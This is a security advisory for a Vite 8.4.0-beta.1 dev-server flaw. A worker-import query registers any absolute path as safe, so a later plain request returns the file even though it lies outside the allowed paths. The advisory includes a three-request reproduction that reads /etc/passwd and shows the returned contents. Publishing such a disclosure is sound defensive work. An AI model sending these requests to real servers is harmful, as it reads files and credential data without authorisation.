[!IMPORTANT] This advisory only affects beta versions.
With 8.4.0-beta.1, the contents of files that are outside server.fs.allow and not included in server.fs.deny can be returned to the browser.
Only apps that match the following conditions are affected:
--host or server.host config option)In 8.4.0-beta.1, a dev server can be made to serve any file outside server.fs.allow that is not matched by server.fs.deny, with two unauthenticated GET requests and no preconditions:
GET /@fs/<absolute-path>?worker&import. The worker plugin generates a WorkerWrapper module whose body embeds the request-chosen path, and in doing so registers the absolute path in config.environments.client.safeModulePaths.GET /@fs/<absolute-path> 200 with the file content. The safeModulePaths check short-circuits before the fs.allow check.Only server.fs.deny matches keep working after registration. ?sharedworker&import triggers the same flow, and ?wasm / ?init&import / ?source&import queries register .wasm files the same way.
This is new in 8.4. The poisoning write (fileToDevUrl → safeModulePaths.addId) was introduced by commit https://github.com/vitejs/vite/commit/e258ce140eef64cf89ff38c410125abd8726f274 (https://github.com/vitejs/vite/pull/23168).
Minimal reproduction (two requests):
# 1) Before registration — correctly denied
GET /@fs/etc/passwd
-> 403 Restricted ("The request id /etc/passwd is outside...")
# 2) Register the path via the worker query
GET /@fs/etc/passwd?worker&import
-> 200
-> body: export default function WorkerWrapper(options) {
return new Worker("/@fs/etc/passwd?worker_file&type=module", ...)
}
# 3) Read — now allowed
GET /@fs/etc/passwd
-> 200 (text/javascript)
-> body: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:...
{
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-01T19:02:48Z",
"nvd_published_at": "2026-11-30T23:17:24Z",
"severity": "MODERATE"
}